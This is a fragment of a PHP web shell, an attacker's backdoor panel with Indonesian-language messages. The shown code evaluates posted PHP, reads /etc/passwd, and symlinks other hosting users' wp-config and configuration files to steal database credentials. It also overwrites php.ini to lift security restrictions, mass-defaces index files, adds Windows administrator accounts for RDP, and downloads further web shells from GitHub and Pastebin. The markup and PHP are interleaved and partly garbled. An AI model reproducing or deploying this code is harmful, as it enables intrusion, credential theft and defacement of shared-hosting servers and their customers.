2px}textarea{margin:auto;border:2px solid #555;background:#000;padding:0 2px}.output{margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000;padding:0 2px}.cmdbox{width:100%}.head_info{padding:0 4px}.b1{font-size:30px;padding:0;color:#555}.b2{font-size:30px;padding:0;color:maroon}.b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333}.phpinfo table{width:100%;padding:0}.phpinfo td{background:#111;color:#ccc;padding:6px 8px}.phpinfo th,th{background:teal;border-bottom:1px solid #333;font-weight:400}.phpinfo h2,.phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222;padding:4px 0}.explore{width:100%}.explore a{text-decoration:none}.explore td{border-bottom:1px solid #333;padding:0 8px;line-height:24px;color:#999}.explore th{padding:3px 8px;font-weight:400;color:white}.explore th:hover,.phpinfo th:hover{border-bottom:1px solid red}.explore tr:hover{background:#333}.viewfile{background:#edeceb;color:#000;margin:4px 2px;padding:8px}.sembunyi{display:none;padding:0;margin:0}#menu{background:#111;font-family:'Montserrat',sans-serif;font-size:12px;color:silver}#menu a{font-family:'Montserrat',sans-serif;padding:3px 5px;margin:2;text-shadow:0 0 .1em rgba(0,128,128,1),0pt 0 .3em rgba(0,128,128,1);background:#2d2b2b;text-decoration:none;letter-spacing:2px;display:inline-block;-moz-border-radius:10px;-webkit-border-radius:5px;-khtml-border-radius:5px;border-radius:5px}#menu a:hover{font-family:'Montserrat',sans-serif;background:#191919;border-bottom:1px solid #444;border-top:1px solid #444;color:#cecece}li{display:inline-block}ul{list-style-type:none;margin:0;margin:0}k,k a,k a:hover{text-shadow:0 0 .3em red;font-family:'Montserrat',sans-serif;font-size:25px;color:#fff}h7{font-size:35px}</style><body onLoad="document.getElementById('cmd').focus()"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl" cellspacing="0">
echo '<center><img src="http://cdn2.tstatic.net/tribunnews/foto/bank/images/20140203_070700_ilustrasi-galau.jpg" width="150px"><br><b>'.(base64_decode('UyBJIFIgTiBB==').'</b>');<div id="menu"><a href="?echo "sad=" . $pwd;&amp;x=about">About Me</a></div></center>
</td></tr></table></td><td class="top" width='80%' valign="top">echo $buff;</td><td style="width:30%" valign="top"><a>server ip :echo $server_ip . "<font color='red'><br><br></font> your ip : " . $my_ip . "<br></a>";</td></tr></table></div>
<div id="menu">
<center>
<ul>
<li><a href="?"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII='></a></li>
<li><a href="?echo "sad=" . $pwd;">Files</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=shell">Command</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=upload">Upload</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=php">Eval</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=sym">Sym</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=jumping">Jumping</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=hostg">Fucking HostGator</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=grabc">Config Grabber</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=netsploit">Tools</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=mass">Mass</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=krdp">Create RDP</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=mailtest">Mail Tester</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=get_tools">Write Tools</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=bypasser">Bypasser</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=brute">Brute</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=phpinfo">phpinfo</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=zone-h">Zone-H</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=joomla">Joomla</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=wordpress">Wordpress</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=vb">Vb</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=domains">Domains</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=string">String</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=cmsdet">CMS Detector</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=wm">Wp Mass</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=settings">Settings</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=change_pass">Change Shell Password</a></li>
<li><a href="?logout" style="background:#900;color:#FFF;background-image:url('http://up.ashiyane.org/images/b5crr7rhrwc5e97nvgxq.png');background-position:2px;height:20px;width:100px;background-repeat:no-repeat">Logout</a></li>
</ul>
</center>
</div>
if (isset($_GET['x']) && ($_GET['x'] == 'php')) {<form action="?sad=echo $pwd;&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90> 
if (isset($_POST['submitcmd'])) {
        echo eval(magicboom($_POST['cmd']));
    } else
        echo "echo file_get_contents('/etc/passwd');";</textarea></td></tr><tr><td><input style="width:19%" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> 
}
elseif (isset($_GET['logout'])) {
session_unset($_SESSION["login"]);
echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'change_pass')) {
<center>
<h1>Change Shell Password</h1>
<form action="?sad=echo $pwd;&amp;x=change_pass" method="post">
<input type="text" name="password" class="inputz"><br>
<input type="submit" name="submit" class="inputzbut">
</form>
if(isset($_POST['submit'])){
    $newpassword = md5($_POST['password']);
    $old_pass = '"'.$auth_pass.'";';
    $new_pass = '"'.$newpassword.'";';
    if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
        $kr_pass = file_get_contents($_SERVER['SCRIPT_FILENAME']);
        $kr_pass = preg_replace("/$old_pass/is",$new_pass,$kr_pass);
    if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $kr_pass)){
        echo "password baru : <font color=red>".$_POST['password']."</font> - <font color=greenyellow>$newpassword</font>";
    }
    }else{
        echo "Password gagal";
    }
}
    
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailtest'))
    {
        $to      = 'htaccess12@gmail.com';
        $subject = 'Support Mailer ^_^';
        $message = 'Support Mailer ! ^_^';
        $headers = 'From: webmaster@example.com\r\nReply-To: webmaster@example.com\r\nX-Mailer: PHP/' . phpversion();

        mail($to, $subject, $message, $headers);
        if(mail($to, $subject, $message, $headers)){
            echo '<script>alert("Support Mailer !!! Cek Emailmu !")</script>';
        }else{
            echo '<script>alert("Ada Kesalahan ! ")</script>';
        }
        
    }
elseif(isset($_GET['x']) && ($_GET['x'] == 'settings'))
    {
<center><br>
<h7>Settings Shell</h7><br>
<a href="?echo "y=".$pwd;&amp;x=set_bg"><input class=inputzbut type=submit value=" Background Shell" /></a>
| <a href="?echo "y=".$pwd;&amp;x=set_login"><input class=inputzbut type=submit value=" Login Background" /></a><br>
</center>
//functions settings
        $bgshell    = $_POST['bg_shell'];
        $bg_login   = $_POST['bg_login'];

       if(isset($_POST['submit'])){

        if (!empty($bgshell)) {
            $bgshelll = $_POST['bg_shell'];
            $replace_new = ''.$bgshelll.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background = preg_quote($background, '/');
                var_dump($background);
                
                $write = preg_replace("/$background/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved</center>";
            }
        }elseif(!empty($bg_login)){
            $bglogin = $_POST['bg_login'];
            $replace_new = ''.$bglogin.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background_login = preg_quote($background_login, '/');
                $write = preg_replace("/$background_login/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved !</center>";
            }
        }
    }

    
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'get_tools'))
    {<center><br><br><h3>Write Tools</h3>
<table>
<tr><form method="post" action="">&nbsp;<td>
<select class="inputz" align="left" name="pilihan" id="pilih">
<option value="hsphere">Bypass hSphere Shell</option>
<option value="adminer">Adminer</option>
<option value="miniadmin">PHPMiniAdmin</option>
<option value="wso">WSO Shell</option>
</select>
<input type="submit" name="submites" class="inputz" value="create">
</td></form></tr></table><br/><br/><br/>
function gettool($filename,$link){
              $get = file_get_contents($link);
              file_put_contents($filename.'.php', $get);
              echo '<script>alert("Done ! ");</script>';
              echo 'Berhasil =>  <a href="'.$filename.'.php" target="_blank">'.$filename.'.php</a>';
            }
                $submit = $_POST ['submites'];
                if(isset($submit)) {
                    $pilih = $_POST['pilihan'];
                    ///hsphere shell
                        if ( $pilih == 'hsphere') {
                            gettool("hsphere","https://raw.githubusercontent.com/sinkaroid/pasirmerah/sc0/sc0hsphere.php");
                        }
                        elseif ( $pilih == 'adminer') {
                            gettool("adminer","https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php");
                        }elseif($pilih == 'miniadmin'){
                            gettool("sqlminiadmin","https://pastebin.com/raw/iHSNkKmg");
                        }elseif( $pilih == 'wso'){
                            gettool("wso","https://raw.githubusercontent.com/tennc/webshell/master/php/wso/WSO_base64.php");
                        }
                    }
        
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_bg'))
    {
<center>
<form action="?sad=echo $pwd;&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Background Shell</td><td>:</td><td><input type="text" name="bg_shell" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut"></td>
</tr>
</form>
</table>

    }

    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_login'))
    {
<center>
<form action="?sad=echo $pwd;&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Login Background</td><td>:</td><td><input type="text" name="bg_login" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut" value="submit setting"></td>
</tr>
</form>
</table>

    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasser'))
            {
                echo "<center><br/><br/>Choose Bypasser Below<br/><br/>";
<a href="?echo "path=".$path;&amp;x=bysysfuncwsf"><input class=bordergaya type=submit value="Bypass Root Path With System Function" /></a>
Or <a href="?echo "path=".$path;&amp;x=bypsini"><input class=bordergaya type=submit value="Bypass Disable Functions" /></a>
Or <a href="?echo "path=".$path;&amp;x=bysysfuncwexec"><input class=bordergaya type=submit value="Bypass Root Path With Exec Function" /></a>
<br/><br/><br/><br/>

            }
    ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwsf')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With System Function</span><center>';
            mkdir('bysyswsf', 0755);
            chdir('bysyswsf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/Pw07PwVD");
            $file = fopen("bysyswsf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswsf.php",0755);
            echo "<iframe src=bysyswsf/bysyswsf.php width=70% height=70% frameborder=0></iframe>";
            }
            ////////////////////////////////////////
            ////////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsini')) {
                    $byht = "safe_mode = Off
                    disable_functions = None
                    safe_mode_gid = OFF
                    open_basedir = OFF
                    allow_url_fopen = On";
                    file_put_contents("php.ini",$byht);
                    echo "<script>alert('Congrats!'); hideAll();</script>";
                    die('<meta http-equiv="refresh" content="0; url=?" />');
            }
            ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwexec')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With Exec Function</span><center>';
            mkdir('bysyswexecf', 0755);
            chdir('bysyswexecf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/6ccPfLW6");
            $file = fopen("bysyswexecf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswexecf.php",0755);
            echo "<iframe src=bysyswexecf/bysyswexecf.php width=70% height=70% frameborder=0></iframe>";
            
            }
            ////////////////////////////////////////
            ////////////////////////////////////////

    ///////////////////////////////////////////////////////////////////////////
        ///////////JUMPING////////////////////////////////////////////////////////
        //////////////////////////////////////////
        elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
<center>
<form action="?sad=echo $pwd;&amp;x=jumping" method="post">
//radable public_html
                ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
                set_time_limit(0);
                ###################
                @$passwd = fopen('/etc/passwd','r');
                if (!$passwd) { die('<br>[-] Error : coudn`t read /etc/passwd'); }
                $pub = array();
                $users = array();
                $conf = array();
                $i = 0;
                while(!feof($passwd))
                {
                $str = fgets($passwd);
                if ($i > 35)
                {
                $pos = strpos($str,':');
                $username = substr($str,0,$pos);
                $dirz = '/home/'.$username.'/public_html/';
                if (($username != ''))
                {
                if (is_readable($dirz))
                {
                array_push($users,$username);
                array_push($pub,$dirz);
                }
                }
                }
                $i++;
                }
                ###################
                echo '<br><br></center></center>';
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($users)." entrys in /etc/passwd\n<br /></font>";
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($pub)." readable public_html directories\n<br /></font>";
                echo "<font class='rapihbanget'>[~] Searching for passwords in config files...<br /><br /></font>";
                foreach ($users as $user)
                {
                $path = "/home/$user/public_html/";
                echo "<font class='rapihbanget'><a href='?sad&#61;$path' target='_blank' font-weight:bold; color:#F80;'>$path</a><br></font>";
                }
                echo "<br /><font class='rapihbanget'>[+] Complete...\n<br /></font>";
                echo "<font class='rapihbanget'>[+] Monggo Sikat Boz!\n<br /></font>";
                echo '<br><br></b></body><center>';
                
        }


///////////////

 elseif (isset($_GET['x']) && ($_GET['x'] == 'mass')) {
    error_reporting(0);<center><table><td width="50%"><form ENCTYPE="multipart/form-data" action="$_SERVER['PHP_SELF'];" method=post><p align="center"><h2>Folder</h2><input class='inputz' typ=text name=path size=60 value="echo getcwd();"><br><h2>file name</h2><input class='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Script Defacemu </h3><textarea class='inputz' name=index rows=10 cols=40>Hacked By NoNameUser - Error Violence</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br>$mainpath = $_POST[path];
    $file     = $_POST[file];
    $dir      = opendir("$mainpath");
    $code     = base64_encode($_POST[index]);
    $indx     = base64_decode($code);
    while ($row = readdir($dir)) {
        $start  = @fopen("$row/$file", "w+");
        $finish = @fwrite($start, $indx);
        if ($finish) {
            echo "$row/$file > Done<br><br>";
        }
    }
    
} 
    ///menu rdp
        if(isset($_GET['x']) && ($_GET['x'] == 'krdp'))
            
        {
                if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
                {<br/><br/>
<center>
<h1>RDP Creator By Shor7cut</h1>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">CREATE RDP</font></td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="username" required></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="password" required></td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="1"><input type="submit" name="submit" class="bordergaya" value="Create"></td>
</tr>
</table>
</form>
</div>
<br/>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">OPTION</td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="rusername" placeholder="Masukan Username" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="gantipw" placeholder="Password Baru" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Action</font></td>
<td><font class='kecew'> : </font></td>
<td>
<select name="aksi" class="bordergaya">
<option value="1">Tampilkan Username</option>
<option value="2">Hapus Username</option>
<option value="3">Ubah Password</option>
</select>
</td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="2"><input type="submit" name="submit" class="bordergaya" value="Execute"></td>
</tr>
</table>
</form>
<br/>
</div>
</center></center>
if($_POST['submit'])
                    {
                        if($_POST['kshell']=="1")
                        {
                            $r_user = $_POST['username'];
                            $r_pass = $_POST['password'];
                            $cmd_cek_user   = shell_exec("net user");
                            if(preg_match("/$r_user/", $cmd_cek_user)){
                                echo $gaya_root.$r_user." sudah ada".$o;
                            }else {
                            $cmd_add_user   = shell_exec("net user ".$r_user." ".$r_pass." /add");
                            $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
                            $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
                            $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
                                if($cmd_add_user){
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Berhasil!</font></font><br/><br/>".$o;
                                }else {
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='red'>Gagal!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Sedang Memroses User.. Silahkan Tunggu Sebentar..  <br/>";
                                if($cmd_add_groups1){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups2){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups3){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else {
                                      echo $gaya_root."<font class='rapihbanget'>--- Maaf User ".$r_user." <font color='red'>Gagal Di Proses!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Server Info : </font><br/>";
                                echo $gaya_root."<font class='rapihbanget'>--- ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font class='rapihbanget'>--- Username  : ".$r_user."</font><br/><font class='rapihbanget'>--- Password  : </font>".$r_pass.$o."</font><br/><br/>";
                                echo "<font class='rapihbanget'>[+] Thank For Using It ~_^ </font><br/><br/>";
                            }


                        }
                        else if($_POST['kshell']=="2")
                        {
                            echo "<style>
                                    .coeg{margin-left:30%;}
                                    </style>";
                            if($_POST['aksi']=="1"){
                             echo "<pre class='coeg'>".shell_exec("net user");
                            }
                            else if($_POST['aksi']=="2")
                            {
                                $username = $_POST['rusername'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                        $cmd_add_user   = shell_exec("net user ".$username." /DELETE");
                                        if($cmd_add_user){
                                            echo "<font class='rapihbanget'>[+] Sedang Memroses.. Silahkan Tunggu..  </font><br /><br />";
                                            echo $gaya_root."<font class='rapihbanget'>[+] Selamat! Remove User  </font><font color='orange'>".$username." </font><font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='rapihbanget'>[+] Yah :( Remove User  </font><font color='orange'>".$username." </font><font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                    }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                    }
                            }
                            else if($_POST['aksi']=="3")
                            {
                                echo "<style>
                                        .tengahaja{margin-left:35%}
                                      </style>";
                                $username = $_POST['rusername'];
                                $password = $_POST['gantipw'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                            $cmd_add_user   = shell_exec("net user ".$username."");
                                            if($cmd_add_user){
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                }
                                }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                }
                            }
                        }

                    }
                } else{
                    echo "<br><br><font color='springgreen' face='Fredericka The Great'>TOOLS GAK BISA DI PAKE NDAN -_- SERVERNYA BUKAN WINDOWS</font>";
                }die();
        }
elseif (isset($_GET['x']) && ($_GET['x'] == 'hostg')) {
    echo $bencong . "<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Symlink HostGator Server ('.ini') Extension Method</b></p>";<center><img src="http://www.taylorclark.co/wp-content/uploads/2013/06/Hostgator-VS-Amazon.jpg"></center><center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p><input type=submit name="hostg" value="Extract usernames" /></form></center> if (isset($_POST['hostg'])) {<form method=post><textarea rows=10 cols=50 name=user>$users = file("/etc/passwd");
        foreach ($users as $user) {
            $str = explode(":", $user);
            echo $str[0] . "\n";
        }</textarea><br><br><input type=submit name=su value="Bypass HostGator Configs" /></form> }error_reporting(0);
    echo "<font color=#58FAF4 size=2 face=\"Courier New\">";
    if (isset($_POST['su'])) {
        mkdir('HostGator', 0755);
        $rr = " Options +FollowSymLinks \n DirectoryIndex Sux.html \n Options +Indexes \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain.html ";
        $g  = fopen('HostGator/.htaccess', 'w');
        fwrite($g, $rr);
        $HostGator = symlink("/", "HostGator/root");
        $rt        = "<a href=HostGator/root><font color=#ff0000 size=2 face=\"Courier New\"> Bypassed Successfully</font></a>";
        echo "Check link given below for / folder symlink <br><b>$rt</b>";
        mkdir('HostGator', 0755);
        $rr = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF ";
        $g  = fopen('HostGator/php.ini', 'w');
        fwrite($g, $rr);
        $HostGator = symlink("/", "HostGator/root");
        fwrite($f, $r);
        $consym = "<a href=HostGator/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a>";
        echo "<br><font color=#58FAF4 size=2 face=\"Courier New\">The link given below is for configs path symlink, If Forbidden you can view Configs inside the Source Code By Creating an shtml File and including virtual name of the config name Or Just Back Connect to the server and retrieve root manually ln -s / Good Chance ^_^  </font><br><b><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></b>";
        $usr           = explode("\n", $_POST['user']);
        $configuration = array(
            "wp-config.ini",
            "wordpress/wp-config.ini",
            "configuration.ini",
            "blog/wp-config.ini",
            "joomla/configuration.ini",
            "vb/includes/config.ini",
            "includes/config.ini",
            "conf_global.ini",
            "inc/config.ini",
            "config.ini",
            "Settings.ini",
            "sites/default/settings.ini",
            "whm/configuration.ini",
            "whmcs/configuration.ini",
            "support/configuration.ini",
            "whmc/WHM/configuration.ini",
            "whm/WHMCS/configuration.ini",
            "whm/whmcs/configuration.ini",
            "support/configuration.ini",
            "clients/configuration.ini",
            "client/configuration.ini",
            "clientes/configuration.ini",
            "cliente/configuration.ini",
            "clientsupport/configuration.ini",
            "billing/configuration.ini",
            "admin/config.ini"
        );
        foreach ($usr as $uss) {
            $us = trim($uss);
            foreach ($configuration as $c) {
                $rs = "/home/" . $us . "/public_html/" . $c;
                $r  = "HostGator/" . $us . " .. " . $c;
                symlink($rs, $r);
            }
        }
    }
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'grabc')) { @ini_set('output_buffering',0);
    echo "
<form method='POST'>
</head>
<style>
textarea{resize:none;color:#000;background-color:#000;font-size:8pt;color:#fff;border:1px solid white;border-left:4px solid white;width:543px;height:400px}input{color:#000;border:1px dotted white}
</style>";
echo "<center>";</center><br><center>if (empty($_POST['config'])) {<p><font face="Cabin" color="springgreen" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='inputz' rows='15' cols='60'>echo file_get_contents('/etc/passwd');</textarea><br><br><input name="config" class='inputz' size="100" value="Grab!" type="submit"><br></form></center><br>}if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('Sad-Conf', 0755);@chdir('Sad-Conf');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
$passwd=explode("\n",$passwd);
echo "<br><br><center><font face='cabin' color=Crimson size=2pt>Kalem Ndan Lagi Di Proses...</center><br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);$user =$pawd[0];
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
